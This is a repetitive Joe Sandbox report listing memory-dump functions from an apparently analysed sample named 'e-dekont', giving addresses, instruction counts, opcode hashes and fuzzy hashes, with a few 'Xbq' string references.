Source File: 00000002.00000002.4091126891.0000000005B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5b40000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ee58b6020723896ec30fcab1f66e6b07cb1236297e01acc73cd3c619cbb9474
Instruction ID: 9fa797ba27ff752c9ef08e8bbd33a1398adb52f54db36a6b9c82cd9b9cca1186
Opcode Fuzzy Hash: 3ee58b6020723896ec30fcab1f66e6b07cb1236297e01acc73cd3c619cbb9474
Instruction Fuzzy Hash: 7EC18074E00218CFDB14DFA5D954BADBBB2BF89300F2081A9D409AB365DB35AE85DF50

Uniqueness

Uniqueness Score: -1.00%

Function 05B4DB18 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091126891.0000000005B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5b40000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c83d05e57dbc220cb901e40f26179acb7beccd1822a686c7db04e4558f0f14e
Instruction ID: 241cd8dbdb0e2c481624b97b41ec680f965484df0142034c37a98fec433c1a1c
Opcode Fuzzy Hash: 0c83d05e57dbc220cb901e40f26179acb7beccd1822a686c7db04e4558f0f14e
Instruction Fuzzy Hash: 31C18074E00218CFDB14DFA5C994BADBBB2FB89300F2081A9D409AB365DB35AD85DF50

Uniqueness

Uniqueness Score: -1.00%

Function 05B4C108 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091126891.0000000005B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5b40000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4030a296bc13358744689e11b5c5044262ac33011fe2fa76585ac70d1012143
Instruction ID: 5652209f872190c9b69f7d5a78eca09e4ce8e1e1bb5b1f8f48775e90337eab1b
Opcode Fuzzy Hash: a4030a296bc13358744689e11b5c5044262ac33011fe2fa76585ac70d1012143
Instruction Fuzzy Hash: 45C18F74E01218CFDB14DFA5C954BADBBB2FB89300F2081A9D409AB364DB35AE85DF50

Uniqueness

Uniqueness Score: -1.00%

Function 05B4DF70 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091126891.0000000005B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5b40000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1175ca1f130557293bb79bf3a0555f988647636b5d5381767730957618ad2186
Instruction ID: d17dd326d2efc4d57da5037ab9cae752cba3db5d21c33a0032f9289e88bd8d1d
Opcode Fuzzy Hash: 1175ca1f130557293bb79bf3a0555f988647636b5d5381767730957618ad2186
Instruction Fuzzy Hash: C8C18074E00218CFDB14DFA5C954BADBBB2FB89300F2081A9D409AB365DB35AD85DF51

Uniqueness

Uniqueness Score: -1.00%

Function 05B4C560 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091126891.0000000005B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5b40000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe728a92012ca3102a222308c10cb04a94d56d6cb2d8af3e9b379fb1749851da
Instruction ID: f89007b06ee0d37876b5f281f84b71d8c97f6f41ecd3af5ea28123716dd1a476
Opcode Fuzzy Hash: fe728a92012ca3102a222308c10cb04a94d56d6cb2d8af3e9b379fb1749851da
Instruction Fuzzy Hash: A5C17F74E01218CFDB14DFA5C954BADBBB2FB89300F2081A9D409AB365DB35AD85DF50

Uniqueness

Uniqueness Score: -1.00%

Function 05B4F0D0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091126891.0000000005B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5b40000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f14ed8385a2f1350c36455565b56ae0a8590f8675d12d3c5e86fdf471e82904
Instruction ID: 8f4debe1041024e3c3aac0c5011f350fc9e5694e267fa29f46f0ab8999700e4e
Opcode Fuzzy Hash: 7f14ed8385a2f1350c36455565b56ae0a8590f8675d12d3c5e86fdf471e82904
Instruction Fuzzy Hash: B6C18074E01218CFDB14DFA5D954BADBBB2BF89300F2081A9D409AB364DB35AE85DF50

Uniqueness

Uniqueness Score: -1.00%

Function 05B4D6C0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091126891.0000000005B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5b40000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10ee045cb944e218bb5f160848d3d8f61f00fda9c068ccb68e0d1c12076252e9
Instruction ID: 6584ac4fdcd22cb1f7d0e6a427d2be87143001223d58200c3b8ec77fe4b5a227
Opcode Fuzzy Hash: 10ee045cb944e218bb5f160848d3d8f61f00fda9c068ccb68e0d1c12076252e9
Instruction Fuzzy Hash: 8AC18074E01218CFDB14DFA5D954BADBBB2BF89300F2081A9D409AB364DB35AE85DF50

Uniqueness

Uniqueness Score: -1.00%

Function 05B410C0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091126891.0000000005B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5b40000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c63e98aa0a4ab664d71e9a0851abdd004dcbfdf9ffa278562014aa2926767872
Instruction ID: ac6dd849ade598991c959b3cb41e67b1a04bcc000b3bd66f06e3ce22e1511492
Opcode Fuzzy Hash: c63e98aa0a4ab664d71e9a0851abdd004dcbfdf9ffa278562014aa2926767872
Instruction Fuzzy Hash: F4C18174E01218CFDB14DFA5D954BADBBB2FB89300F2085A9D409AB354DB35AD85CF10

Uniqueness

Uniqueness Score: -1.00%

Function 05B4E820 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091126891.0000000005B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5b40000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efdbe9c5792906ed4f412c9d5510e485816dd13c3f5b7a47131ce4645aa95361
Instruction ID: c25d037547595448b4cfe922ff63b8d09896e5d4c7b14c7c1ac977cadaa0bf7c
Opcode Fuzzy Hash: efdbe9c5792906ed4f412c9d5510e485816dd13c3f5b7a47131ce4645aa95361
Instruction Fuzzy Hash: 60C18074E00218CFDB14DFA5C954BADBBB2BB89300F2084A9D409AB365DB35AE85DF51

Uniqueness

Uniqueness Score: -1.00%

Function 05B4CE10 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091126891.0000000005B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5b40000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d21c5832928ad6d07a09972f07edcf169288ddaea6bce1b37c500bc38df8b0f0
Instruction ID: 898f89b6d12a9a1ec256842790b357e16358c2a89f9e9df3f152868eff101114
Opcode Fuzzy Hash: d21c5832928ad6d07a09972f07edcf169288ddaea6bce1b37c500bc38df8b0f0
Instruction Fuzzy Hash: 27C19074E01218CFDB14DFA5C954BADBBB2BF89300F2081A9D409AB364DB35AD85DF50

Uniqueness

Uniqueness Score: -1.00%

Function 05B4EC78 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091126891.0000000005B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5b40000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4951d243acf7afbf155fe89a2af38f4ba04c5e2e8a08cf206f2d54d9a01a8b1a
Instruction ID: 8ddb854016793450a1a285a3346f27943707aac2afcb93aeb44745fc3b6ee7b1
Opcode Fuzzy Hash: 4951d243acf7afbf155fe89a2af38f4ba04c5e2e8a08cf206f2d54d9a01a8b1a
Instruction Fuzzy Hash: 85C19074E00218CFDB14DFA5C994BADBBB2FB89300F2081A9D409AB364DB35AD85DF51

Uniqueness

Uniqueness Score: -1.00%

Function 05B40C60 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091126891.0000000005B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5b40000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f0e6c211c4c69d115312fc86ab0c892aad4bc6c69e78661828a2913d368197f
Instruction ID: ae37d623b021ba7145a9abce20f88a1bbe6c18efdbd5fc75b761d8867d15bb66
Opcode Fuzzy Hash: 5f0e6c211c4c69d115312fc86ab0c892aad4bc6c69e78661828a2913d368197f
Instruction Fuzzy Hash: B6C18074E00218CFDB14DFA5D954BADBBB2FB89300F2085A9D809AB354DB35AD85DF10

Uniqueness

Uniqueness Score: -1.00%

Function 05B4D268 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091126891.0000000005B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5b40000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17af24066ff3c64d612186c4baaeb7b39f5f2f96cdf3080ab0b65fb3a98cedb1
Instruction ID: 15fede888655603b1329489e6a07dfd2728283d1e68d74d15b264c3f1918d612
Opcode Fuzzy Hash: 17af24066ff3c64d612186c4baaeb7b39f5f2f96cdf3080ab0b65fb3a98cedb1
Instruction Fuzzy Hash: DCC19074E00218CFDB14DFA5C954BADBBB2FB89300F2081A9D409AB365DB35AD85DF50

Uniqueness

Uniqueness Score: -1.00%

Function 06C05EC0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091765112.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c00000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7efc56dbd732a5873d4c33a9daa74af16c7476a2b10210e5df48b8f9e7c8bd02
Instruction ID: d369a514940b4a8f58062e6fbf09c1fe128d3b6406ad907b3ccffa12e37b35bc
Opcode Fuzzy Hash: 7efc56dbd732a5873d4c33a9daa74af16c7476a2b10210e5df48b8f9e7c8bd02
Instruction Fuzzy Hash: 7FC19F74E01218CFDB54DFA5C994B9DBBB2BF89300F2084A9D409AB365DB35AE85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06C05A68 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091765112.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c00000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49442990832c988cb2dd5643701661e5f57a152aa17061b58c5451ed46d3778c
Instruction ID: 588a57b7c8896bec0a7be1054ae37b41b868c0ea4f4df5c08def3c86295af2f5
Opcode Fuzzy Hash: 49442990832c988cb2dd5643701661e5f57a152aa17061b58c5451ed46d3778c
Instruction Fuzzy Hash: 3DC18174E01218CFDB54DFA5C994B9DBBB2BF89300F2081A9D409AB365DB35AE85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06C08600 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091765112.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c00000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 003124412591ce20e6e4f4e9a69e84ada98d5138f4ec7da637c7b59a94525235
Instruction ID: 4a796d97b91365db0927ef6e725625d0e3b2e9d988f99f2f402a2166b79867bb
Opcode Fuzzy Hash: 003124412591ce20e6e4f4e9a69e84ada98d5138f4ec7da637c7b59a94525235
Instruction Fuzzy Hash: 1BC18F74E01218CFDB54DFA5C994B9DBBB2BF89300F2081A9D409AB365DB35AE85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06C06BC8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091765112.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c00000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9efdab742e2b280f83da8e5b25b2d75bbc8fdec1647bdcec5438fcea2af930a4
Instruction ID: c7ea297baa71585bcd31b057f4ae02e33ab266bc6988f3a308f33be0855b27cb
Opcode Fuzzy Hash: 9efdab742e2b280f83da8e5b25b2d75bbc8fdec1647bdcec5438fcea2af930a4
Instruction Fuzzy Hash: C5C18074E00218CFDB54DFA5C994B9DBBB2BF89300F2081A9D409AB364DB35AE85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06C06770 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091765112.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c00000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31972a02b16d3a71b913b96d5f5b03a2ea805b977d89c0491676f139598a5a77
Instruction ID: 7b656f78c459f289a589cbbcacbadb5a1b62cd317e9652b4dcfa31c29c0580cd
Opcode Fuzzy Hash: 31972a02b16d3a71b913b96d5f5b03a2ea805b977d89c0491676f139598a5a77
Instruction Fuzzy Hash: B8C18F74E01218CFDB54DFA5C994B9DBBB2BF89300F2081A9D409AB364DB35AE85DF50

Uniqueness

Uniqueness Score: -1.00%

Function 06C06318 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091765112.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c00000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b2778289e773f1f00554d0a556bc7f577a065298b1d55e9b17d9704eddb3850
Instruction ID: 42b976f4c8b04f3ba36e103770d91a5ba157e7e2ec81d43c5d21732eac90e295
Opcode Fuzzy Hash: 0b2778289e773f1f00554d0a556bc7f577a065298b1d55e9b17d9704eddb3850
Instruction Fuzzy Hash: CDC18074E01218CFDB54DFA5C994B9DBBB2BF89300F2081A9D409AB365DB35AE85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06C008F0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091765112.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c00000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e74350e62d8c045b05b4a38b281fce0811fc0fbd59809d94a59eb311723d338a
Instruction ID: 12561035cfaeb65b1f36591bfa3b0b89d23cba063225a2b6ba63424c8d079653
Opcode Fuzzy Hash: e74350e62d8c045b05b4a38b281fce0811fc0fbd59809d94a59eb311723d338a
Instruction Fuzzy Hash: 44C18174E00218CFDB54DFA5C954BADBBB2BF89300F2081A9D409AB365DB35AE85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06C078F8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091765112.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c00000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 255073630d0d80db0edaccce41ec0d658ea426504ca06fff12829bfe445049fb
Instruction ID: 75ec050433759d10265f5844d85ac2e07c4732e7d7c8f24384b1afa4752c9e51
Opcode Fuzzy Hash: 255073630d0d80db0edaccce41ec0d658ea426504ca06fff12829bfe445049fb
Instruction Fuzzy Hash: CCC19074E01218CFDB54DFA5C994B9DBBB2BF89300F2081A9D409AB364DB35AE85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06C00498 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091765112.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c00000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe818b617671541ddb8948bff606fb0a257a98d3be2876a10646c801e28d696c
Instruction ID: 910c0190e9053c44f3e1c3964c82b498dcb03ffbc7299841c7847ec4a3bf8496
Opcode Fuzzy Hash: fe818b617671541ddb8948bff606fb0a257a98d3be2876a10646c801e28d696c
Instruction Fuzzy Hash: 02C18074E01218CFDB54DFA5C994B9DBBB2BF89300F2081A9D409AB365DB35AE85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06C00040 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091765112.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c00000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7572409e33989af388ecc70ec18d018059dd394afbcb25c5828b81611d98fcfe
Instruction ID: e298d0b442129029d3015dec3df5d2bf86e0d2bf1d1dd34dde9add1caaaef8d1
Opcode Fuzzy Hash: 7572409e33989af388ecc70ec18d018059dd394afbcb25c5828b81611d98fcfe
Instruction Fuzzy Hash: 8DC19174E01218CFDB54DFA5C954B9DBBB2BF89300F2080A9D409AB365DB35AE85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06C07020 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091765112.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c00000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d8c8ac8c80a95b69a2def5fe823dbeb228ac3552db2af19b772af1390497ef6
Instruction ID: 059a37254ac7471ca9e783209c967bd668fc1c6fa71edb3b5191c3c04ff23094
Opcode Fuzzy Hash: 0d8c8ac8c80a95b69a2def5fe823dbeb228ac3552db2af19b772af1390497ef6
Instruction Fuzzy Hash: 52C19F74E00218CFDB54DFA5C994B9DBBB2BF89300F2081A9D409AB365DB35AE85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06C055E8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091765112.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c00000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24aa1e752da3a01aacb64fbc3c0ad1cc8dac92461065b876350203091474f963
Instruction ID: fb621daf66a38a00520b82532558610aa15fb85e6adc3d5723a4e06b74dcbff8
Opcode Fuzzy Hash: 24aa1e752da3a01aacb64fbc3c0ad1cc8dac92461065b876350203091474f963
Instruction Fuzzy Hash: 66C19074E00218CFDB54DFA5C994B9DBBB2BF89300F2081A9D409AB364DB35AE85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06C011A0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091765112.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c00000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46d2f7fc7a9ae217a5db97720e4448fd95a148169955243a5ab1a615f2e516b8
Instruction ID: d7315615f9357642183081c5515b2dc3838ee85d780bdf7d7659041ea7d5a879
Opcode Fuzzy Hash: 46d2f7fc7a9ae217a5db97720e4448fd95a148169955243a5ab1a615f2e516b8
Instruction Fuzzy Hash: A4C18074E01218CFDB54DFA5C994B9DBBB2BF89300F2481A9D409AB364DB35AE85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06C081A8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091765112.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c00000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 657339956f286fd517396bdf96c58d143f2739d8c953da961ba5d287858d27ef
Instruction ID: 8bf1c30b709cf90841d078c87f9b017effbb072dd7dee4187c8424985530663a
Opcode Fuzzy Hash: 657339956f286fd517396bdf96c58d143f2739d8c953da961ba5d287858d27ef
Instruction Fuzzy Hash: 16C18F74E01218CFDB54DFA5C994B9DBBB2BF89300F2081A9D409AB365DB35AE85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06C00D48 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091765112.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c00000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b940e5e9e792164a63730cc57cf895e8525eaa2873fd46d19a971fdff0c3ae50
Instruction ID: 8823268d7532c822827a5581d53aa193091561cc0e59b13e3b6d49053b42c266
Opcode Fuzzy Hash: b940e5e9e792164a63730cc57cf895e8525eaa2873fd46d19a971fdff0c3ae50
Instruction Fuzzy Hash: BAC19F74E00218CFDB54DFA5D994B9DBBB2BF89300F2081A9D409AB364DB35AE85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06C07D50 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091765112.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c00000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4f82b9931b4bbedeaf332c1e11cbf86b7c525ecc4d2abcbb632a171c444473f
Instruction ID: cfc8e49c80a0155934047aa7967d2762ce0de0d72351383e78998e932424c563
Opcode Fuzzy Hash: a4f82b9931b4bbedeaf332c1e11cbf86b7c525ecc4d2abcbb632a171c444473f
Instruction Fuzzy Hash: 7CC19F74E01218CFDB54DFA5C994B9DBBB2BF89300F2081A9D409AB364DB35AE85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 05B42240 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091126891.0000000005B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5b40000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2884851df46d87ca2c3a06eaa747e5210b40b3246cb292579dffbef84b60f906
Instruction ID: 38ac3ec746f7ec8b8955c46a4a6b8073edd601b68dcf3f592a8570daf7e47fe5
Opcode Fuzzy Hash: 2884851df46d87ca2c3a06eaa747e5210b40b3246cb292579dffbef84b60f906
Instruction Fuzzy Hash: 3BA1F274D00218CFDB24DFA9C984B9DBBB1FF88310F249269E409AB3A1DB749985CF51

Uniqueness

Uniqueness Score: -1.00%

Function 05B42586 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091126891.0000000005B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5b40000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39a766787d92ad73495b14d610d71eb1a333fd0f53e357cacad1475214f15bed
Instruction ID: 0b9f71f641d9ec0e2b4d7de9df74a160b8a270431f729d71e06622f052ec09af
Opcode Fuzzy Hash: 39a766787d92ad73495b14d610d71eb1a333fd0f53e357cacad1475214f15bed
Instruction Fuzzy Hash: 1591D174D00218CFDB24DFA8C994B9CBBB1FF49310F2092A9E509AB391DB74A985DF14

Uniqueness

Uniqueness Score: -1.00%

Function 02DCF03B Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4087771511.0000000002DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2dc0000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2aebef77dad7c78a95f61ccb8d3ea3101477f342c8c84ee6985c3d55677dbc9
Instruction ID: 2d78715e799d3a44ab68e7c81d006aa16bca5506ea1180f51e5db53b5a49ae77
Opcode Fuzzy Hash: d2aebef77dad7c78a95f61ccb8d3ea3101477f342c8c84ee6985c3d55677dbc9
Instruction Fuzzy Hash: C8A18B74A01229CFDB65DF24C994B99BBB2BB4A301F2085EAD40DA7354DB319E81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 02DCF21B Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4087771511.0000000002DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2dc0000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce29220b5bbb0ff362ea1bb295d2ef120b34927fc29ca6e10374c0f7f7adaa96
Instruction ID: ca32ac77611e49ad865e6ca379e0ade211a5d659ce475fdf9f6fbc4e081c7d5d
Opcode Fuzzy Hash: ce29220b5bbb0ff362ea1bb295d2ef120b34927fc29ca6e10374c0f7f7adaa96
Instruction Fuzzy Hash: CD519F74A01229CFCB65DF24C994B99B7B2BF4A301F6089EAD40EA7354DB319E81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 06C0E5D8 Relevance: 5.1, Strings: 4, Instructions: 128COMMON

Download Yara Rule

Strings

Xbq, xrefs: 06C0E70B
Xbq, xrefs: 06C0E63D
Xbq, xrefs: 06C0E609
Xbq, xrefs: 06C0E6C3

Memory Dump Source

Source File: 00000002.00000002.4091765112.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c00000_e-dekont.jbxd

Similarity

API ID:
String ID: Xbq$Xbq$Xbq$Xbq
API String ID: 0-2732225958
Opcode ID: 023a481b2b3c9866b2cf9d4ec39c83acf08667e1480a0613ba3eb1eeff46c7ec
Instruction ID: b30174c805fdc870c3db889e983c56c416baa9b5cce09fef9cf64a0422a7d3b1
Opcode Fuzzy Hash: 023a481b2b3c9866b2cf9d4ec39c83acf08667e1480a0613ba3eb1eeff46c7ec
Instruction Fuzzy Hash: 9141E771E8411E8BFF749A6D954077EA6A5AB88350F10057DCA26D77C0EA30CE81DBD1

Uniqueness

Uniqueness Score: -1.00%

Function 06C0E5C8 Relevance: 5.1, Strings: 4, Instructions: 95COMMON

Download Yara Rule

Strings

Xbq, xrefs: 06C0E70B
Xbq, xrefs: 06C0E63D
Xbq, xrefs: 06C0E609
Xbq, xrefs: 06C0E6C3

Memory Dump Source

Source File: 00000002.00000002.4091765112.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c00000_e-dekont.jbxd

Similarity

API ID:
String ID: Xbq$Xbq$Xbq$Xbq
API String ID: 0-2732225958
Opcode ID: ef8a9debf15b715a9a8ef5a001aa5046403c859e580858a5aad716a0ae0be9e7
Instruction ID: c10925f85ef5e913e840ab5ce127e7c849ffc46a4d659d5e505830d401b02761
Opcode Fuzzy Hash: ef8a9debf15b715a9a8ef5a001aa5046403c859e580858a5aad716a0ae0be9e7
